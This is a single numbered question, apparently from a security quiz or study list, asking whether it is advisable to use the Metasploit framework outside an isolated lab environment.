4. s it advisable to use Metasploit outside of an isolated lab environment?
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